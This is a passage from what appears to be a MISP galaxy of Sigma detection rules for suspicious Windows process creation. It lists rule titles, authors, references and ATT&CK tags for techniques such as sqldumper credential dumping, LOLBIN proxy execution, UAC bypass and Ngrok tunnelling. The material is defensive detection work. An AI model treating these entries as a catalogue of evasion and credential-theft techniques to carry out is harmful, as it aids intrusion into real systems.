          "https://www.elastic.co/guide/en/security/current/microsoft-iis-connection-strings-decryption.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_connection_strings_decryption.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003"
        ]
      },
      "related": [
        {
          "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "97dbf6e2-e436-44d8-abee-4261b24d3e41",
      "value": "Microsoft IIS Connection Strings Decryption"
    },
    {
      "description": "Detects process dump via legitimate sqldumper.exe binary",
      "meta": {
        "author": "Kirill Kiryanov, oscd.community",
        "creation_date": "2020/10/08",
        "falsepositive": [
          "Legitimate MSSQL Server actions"
        ],
        "filename": "proc_creation_win_lolbin_susp_sqldumper_activity.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqldumper/",
          "https://twitter.com/countuponsec/status/910977826853068800",
          "https://twitter.com/countuponsec/status/910969424215232518",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_sqldumper_activity.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "23ceaf5c-b6f1-4a32-8559-f2ff734be516",
      "value": "Dumping Process via Sqldumper.exe"
    },
    {
      "description": "Detects suspicious execution of Regasm/Regsvcs utilities",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_regasm_suspicious_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.fortiguard.com/threat-signal-report/4718?s=09",
          "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/",
          "https://lolbas-project.github.io/lolbas/Binaries/Regasm/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regasm_suspicious_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.009"
        ]
      },
      "related": [
        {
          "dest-uuid": "c48a67ee-b657-45c1-91bf-6cdbe27205f8",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cc368ed0-2411-45dc-a222-510ace303cb2",
      "value": "Regasm/Regsvcs Suspicious Execution"
    },
    {
      "description": "Detect use of icacls to deny access for everyone in Users folder sometimes used to hide malicious files",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/07/18",
        "falsepositive": [
          "Legitimate use"
        ],
        "filename": "proc_creation_win_icacls_deny.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://app.any.run/tasks/1df999e6-1cb8-45e3-8b61-499d1b7d5a9b/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_icacls_deny.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4ae81040-fc1c-4249-bfa3-938d260214d9",
      "value": "Use Icacls to Hide File to Everyone"
    },
    {
      "description": "Detects usage of an encoded/obfuscated version of an IP address (hex, octal, etc.) via command line",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), X__Junior (Nextron Systems)",
        "creation_date": "2022/08/03",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_obfuscated_ip_via_cli.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Yasser_Elsnbary/status/1553804135354564608",
          "https://h.43z.one/ipconverter/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_obfuscated_ip_via_cli.yml"
        ],
        "tags": [
          "attack.discovery"
        ]
      },
      "uuid": "56d19cb4-6414-4769-9644-1ed35ffbb148",
      "value": "Obfuscated IP Via CLI"
    },
    {
      "description": "Detects usage of \"query.exe\" a system binary to exfil information such as \"sessions\" and \"processes\" for later use",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_query_session_exfil.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/MichalKoczwara/status/1553634816016498688",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_query_session_exfil.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "53ef0cef-fa24-4f25-a34a-6c72dfa2e6e2",
      "value": "Query Usage To Exfil Data"
    },
    {
      "description": "Detects usage of the \"wusa.exe\" (Windows Update Standalone Installer) utility to extract cab using the \"/extract\" argument from suspicious paths",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wusa_cab_files_extraction_from_susp_paths.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.echotrail.io/insights/search/wusa.exe/",
          "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wusa_cab_files_extraction_from_susp_paths.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "c74c0390-3e20-41fd-a69a-128f0275a5ea",
      "value": "Wusa.EXE Extracting Cab Files From Suspicious Paths"
    },
    {
      "description": "Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe.",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/07/12",
        "falsepositive": [
          "App-V clients"
        ],
        "filename": "proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fbd7c32d-db2a-4418-b92c-566eb8911133",
      "value": "SyncAppvPublishingServer Execute Arbitrary PowerShell Code"
    },
    {
      "description": "Detects the stopping of a Windows service",
      "meta": {
        "author": "Jakob Weinzettl, oscd.community, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/03/05",
        "falsepositive": [
          "There are many legitimate reasons to stop a service. This rule isn't looking for any suspicious behaviour in particular. Filter legitimate activity accordingly"
        ],
        "filename": "proc_creation_win_sc_stop_service.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_stop_service.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1489"
        ]
      },
      "related": [
        {
          "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "81bcb81b-5b1f-474b-b373-52c871aaa7b1",
      "value": "Stop Windows Service Via Sc.EXE"
    },
    {
      "description": "The Workflow Command-line Compiler can be used for AWL bypass and is listed in Microsoft's recommended block rules.",
      "meta": {
        "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io",
        "creation_date": "2022/06/01",
        "falsepositive": [
          "Legitimate use by a software developer"
        ],
        "filename": "proc_creation_win_lolbin_wfc.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules",
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wfc/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_wfc.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1127"
        ]
      },
      "related": [
        {
          "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "49be8799-7b4d-4fda-ad23-cafbefdebbc5",
      "value": "Use of Wfc.exe"
    },
    {
      "description": "Detects suspicious child processes of SysAidServer (as seen in MERCURY threat actor intrusions)",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/08/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_java_sysaidserver_susp_child_process.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_java_sysaidserver_susp_child_process.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1210"
        ]
      },
      "related": [
        {
          "dest-uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "60bfeac3-0d35-4302-8efb-1dd16f715bc6",
      "value": "Suspicious SysAidServer Child"
    },
    {
      "description": "Detects the execution of whoami.exe with suspicious parent processes.",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/08/12",
        "falsepositive": [
          "Admin activity",
          "Scripts and administrative tools used in the monitored environment",
          "Monitoring activity"
        ],
        "filename": "proc_creation_win_whoami_parent_anomaly.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/",
          "https://www.youtube.com/watch?v=DsJ9ByX84o4&t=6s",
          "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_parent_anomaly.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1033",
          "car.2016-03-001"
        ]
      },
      "related": [
        {
          "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8de1cbe8-d6f5-496d-8237-5f44a721c7a0",
      "value": "Whoami.EXE Execution Anomaly"
    },
    {
      "description": "Detects usage of the Sharp Chisel via the commandline arguments",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/05",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_hktl_sharp_chisel.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/",
          "https://github.com/shantanu561993/SharpChisel",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharp_chisel.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1090.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cf93e05e-d798-4d9e-b522-b0248dc61eaf",
      "value": "HackTool - SharpChisel Execution"
    },
    {
      "description": "Detects the execution of \"whoami.exe\" with the \"/all\" flag or with redirection options to export the results to a file for later use.",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/02/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_whoami_susp_flags.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/",
          "https://www.youtube.com/watch?v=DsJ9ByX84o4&t=6s",
          "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_susp_flags.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1033",
          "car.2016-03-001"
        ]
      },
      "related": [
        {
          "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c30fb093-1109-4dc8-88a8-b30d11c95a5d",
      "value": "Suspicious Whoami.EXE Execution"
    },
    {
      "description": "Detects execution of the Notepad++ updater in a suspicious directory, which is often used in DLL side-loading attacks",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/02/06",
        "falsepositive": [
          "Execution of tools named GUP.exe and located in folders different than Notepad++\\updater"
        ],
        "filename": "proc_creation_win_gup_suspicious_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gup_suspicious_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0a4f6091-223b-41f6-8743-f322ec84930b",
      "value": "Suspicious GUP Usage"
    },
    {
      "description": "Detects potentially suspicious child processes of \"Diskshadow.exe\". This could be an attempt to bypass parent/child relationship detection or application whitelisting rules.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/09/15",
        "falsepositive": [
          "False postitve can occur in cases where admin scripts levreage the \"exec\" flag to execute applications"
        ],
        "filename": "proc_creation_win_diskshadow_child_process_susp.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow",
          "https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware",
          "https://medium.com/@cyberjyot/lolbin-execution-via-diskshadow-f6ff681a27a4",
          "https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/",
          "https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/",
          "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration",
          "https://www.lifars.com/wp-content/uploads/2022/01/GriefRansomware_Whitepaper-2.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_diskshadow_child_process_susp.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9f546b25-5f12-4c8d-8532-5893dcb1e4b8",
      "value": "Potentially Suspicious Child Process Of DiskShadow.EXE"
    },
    {
      "description": "Detects the use of Ngrok, a utility used for port forwarding and tunneling, often used by threat actors to make local protected services publicly available.\nInvolved domains are bin.equinox.io for download and *.ngrok.io for connections.\n",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/05/14",
        "falsepositive": [
          "Another tool that uses the command line switches of Ngrok",
          "Ngrok http 3978 (https://docs.microsoft.com/en-us/azure/bot-service/bot-service-debug-channel-ngrok?view=azure-bot-service-4.0)"
        ],
        "filename": "proc_creation_win_pua_ngrok.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://cybleinc.com/2021/02/15/ngrok-platform-abused-by-hackers-to-deliver-a-new-wave-of-phishing-attacks/",
          "https://www.softwaretestinghelp.com/how-to-use-ngrok/",
          "https://twitter.com/xorJosh/status/1598646907802451969",
          "https://ngrok.com/docs",
          "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html",
          "https://stackoverflow.com/questions/42442320/ssh-tunnel-to-ngrok-and-initiate-rdp",
          "https://www.virustotal.com/gui/file/58d21840d915aaf4040ceb89522396124c82f325282f805d1085527e1e2ccfa1/detection",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_ngrok.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1572"
        ]
      },
      "related": [
        {
          "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ee37eb7c-a4e7-4cd5-8fa4-efa27f1c3f31",
      "value": "PUA - Ngrok Execution"
    },
    {
      "description": "Detects the execution of the LOLBIN gpscript, which executes logon or startup scripts configured in Group Policy",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/05/16",
        "falsepositive": [
          "Legitimate uses of logon scripts distributed via group policy"
        ],
        "filename": "proc_creation_win_lolbin_gpscript.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/",
          "https://lolbas-project.github.io/lolbas/Binaries/Gpscript/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_gpscript.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1e59c230-6670-45bf-83b0-98903780607e",
      "value": "Gpscript Execution"
    },
    {
      "description": "Detects cases in which an ISO files is opend within an archiver like 7Zip or Winrar, which is a sign of phishing as threat actors put small ISO files in archives as email attachments to bypass certain filters and protective measures (mark of web)",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/06/07",
        "falsepositive": [
          "Legitimate cases in which archives contain ISO or IMG files and the user opens the archive and the image via clicking and not extraction"
        ],
        "filename": "proc_creation_win_susp_archiver_iso_phishing.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://app.any.run/tasks/e1fe6a62-bce8-4323-a49a-63795d9afd5d/",
          "https://twitter.com/1ZRR4H/status/1534259727059787783",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_archiver_iso_phishing.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.t1566"
        ]
      },
      "related": [
        {
          "dest-uuid": "a62a8db3-f23a-4d8f-afd6-9dbc77e7813b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fcdf69e5-a3d3-452a-9724-26f2308bf2b1",
      "value": "Phishing Pattern ISO in Archive"
    },
    {
      "description": "Detects nltest commands that can be used for information discovery",
      "meta": {
        "author": "Craig Young, oscd.community, Georg Lauenstein",
        "creation_date": "2021/07/24",
        "falsepositive": [
          "Legitimate administration use but user and host must be investigated"
        ],
        "filename": "proc_creation_win_nltest_recon.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://eqllib.readthedocs.io/en/latest/analytics/03e231a6-74bc-467a-acb1-e5676b0fb55e.html",
          "https://github.com/redcanaryco/atomic-red-team/blob/5360c9d9ffa3b25f6495f7a16e267b719eba2c37/atomics/T1482/T1482.md#atomic-test-2---windows---discover-domain-trusts-with-nltest",
          "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/",
          "https://thedfirreport.com/2021/08/16/trickbot-leads-up-to-fake-1password-installation/",
          "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/",
          "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11)",
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          "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/",
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          "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0",
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      "meta": {
        "author": "Nik Seetharaman, Christian Burkard (Nextron Systems)",
        "creation_date": "2019/07/31",
        "falsepositive": [
          "Legitimate CMSTP use (unlikely in modern enterprise environments)"
        ],
        "filename": "proc_creation_win_uac_bypass_cmstp_com_object_access.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf",
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        "author": "oscd.community, Zach Stanford @svch0st, Nasreddine Bencherchali (Nextron Systems)",
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          "Automation and orchestration scripts may use this method to execute scripts etc.",
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          "https://twitter.com/nas_bench/status/1535431474429808642",
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      "description": "Detects the execution of WMIC in order to get a list of firewall and antivirus products",
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        "author": "Nasreddine Bencherchali",
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        ],
        "filename": "proc_creation_win_wmic_recon_product.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.yeahhub.com/list-installed-programs-version-path-windows/",
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          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
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        "creation_date": "2018/09/05",
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        "filename": "proc_creation_win_powershell_xor_commandline.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65",
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          "https://zero2auto.com/2020/05/19/netwalker-re/",
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          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
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          "Unknown"
        ],
        "filename": "proc_creation_win_java_keytool_susp_child_process.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.synacktiv.com/en/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html",
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        ],
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      "description": "Detects remote PowerShell sections by monitoring for wsmprovhost (WinRM host process) as a parent or child process (sign of an active PowerShell remote session).",
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        "filename": "proc_creation_win_winrm_remote_powershell_session_process.yml",
        "level": "medium",
        "logsource.category": "process_creation",
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          "https://threathunterplaybook.com/hunts/windows/190511-RemotePwshExecution/notebook.html",
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        "filename": "proc_creation_win_hktl_xordump.yml",
        "level": "high",
        "logsource.category": "process_creation",
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        "filename": "proc_creation_win_pua_adfind_enumeration.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx",
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      "description": "Detect use of PDQ Deploy remote admin tool",
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        "filename": "proc_creation_win_pdqdeploy_execution.yml",
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          "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1072/T1072.md",
          "https://www.pdq.com/pdq-deploy/",
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        ],
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          "Unknown"
        ],
        "filename": "proc_creation_win_wuauclt_dll_loading.yml",
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        "refs": [
          "https://dtm.uk/wuauclt/",
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        ],
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          "attack.defense_evasion",
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      },
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        {
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    {
      "description": "Detects WMI script event consumers",
      "meta": {
        "author": "Thomas Patzke",
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          "Legitimate event consumers",
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        ],
        "filename": "proc_creation_win_wmi_persistence_script_event_consumer.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/",
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        ],
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      },
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        {
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          "Legitimate use of Pester for writing tests for Powershell scripts and modules"
        ],
        "filename": "proc_creation_win_lolbin_pester_1.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/api0cradle/LOLBAS/blob/d148d278f5f205ce67cfaf49afdfb68071c7252a/OSScripts/pester.md",
          "https://twitter.com/Oddvarmoe/status/993383596244258816",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pester_1.yml"
        ],
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      },
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      ],
      "uuid": "59e938ff-0d6d-4dc3-b13f-36cc28734d4e",
      "value": "Execute Code with Pester.bat"
    },
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      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/09",
        "falsepositive": [
          "Legitimate use for tracing purposes"
        ],
        "filename": "proc_creation_win_mftrace_child_process.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Mftrace/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mftrace_child_process.yml"
        ],
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          "attack.defense_evasion",
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      },
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        {
          "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b",
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      ],
      "uuid": "3d48c9d3-1aa6-418d-98d3-8fd3c01a564e",
      "value": "Potential Mftrace.EXE Abuse"
    },
    {
      "description": "Detects potential evasion or obfuscation attempts using bogus path traversal via the commandline",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/10/26",
        "falsepositive": [
          "Google Drive",
          "Citrix"
        ],
        "filename": "proc_creation_win_susp_commandline_path_traversal_evasion.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Gal_B1t/status/1062971006078345217",
          "https://twitter.com/hexacorn/status/1448037865435320323",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_commandline_path_traversal_evasion.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1327381e-6ab0-4f38-b583-4c1b8346a56b",
      "value": "Potential Command Line Path Traversal Evasion Attempt"
    },
    {
      "description": "Detects execution of regsvr32 where the DLL is located in a highly suspicious locations",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/26",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_regsvr32_susp_exec_path_2.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_susp_exec_path_2.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.010"
        ]
      },
      "related": [
        {
          "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "327ff235-94eb-4f06-b9de-aaee571324be",
      "value": "Regsvr32 Execution From Highly Suspicious Location"
    },
    {
      "description": "Detects a Chromium based browser process with the 'load-extension' flag to start a instance with a custom extension",
      "meta": {
        "author": "Aedan Russell, frack113, X__Junior (Nextron Systems)",
        "creation_date": "2022/06/19",
        "falsepositive": [
          "Usage of Chrome Extensions in testing tools such as BurpSuite will trigger this alert"
        ],
        "filename": "proc_creation_win_browsers_chromium_load_extension.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.mandiant.com/resources/blog/lnk-between-browsers",
          "https://redcanary.com/blog/chromeloader/",
          "https://emkc.org/s/RJjuLa",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_chromium_load_extension.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1176"
        ]
      },
      "related": [
        {
          "dest-uuid": "389735f1-f21c-4208-b8f0-f8031e7169b8",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "88d6e60c-759d-4ac1-a447-c0f1466c2d21",
      "value": "Chromium Browser Instance Executed With Custom Extension"
    },
    {
      "description": "Detects execution of Chromium based browser in headless mode",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/09/12",
        "falsepositive": [
          "Unknown"
        ],
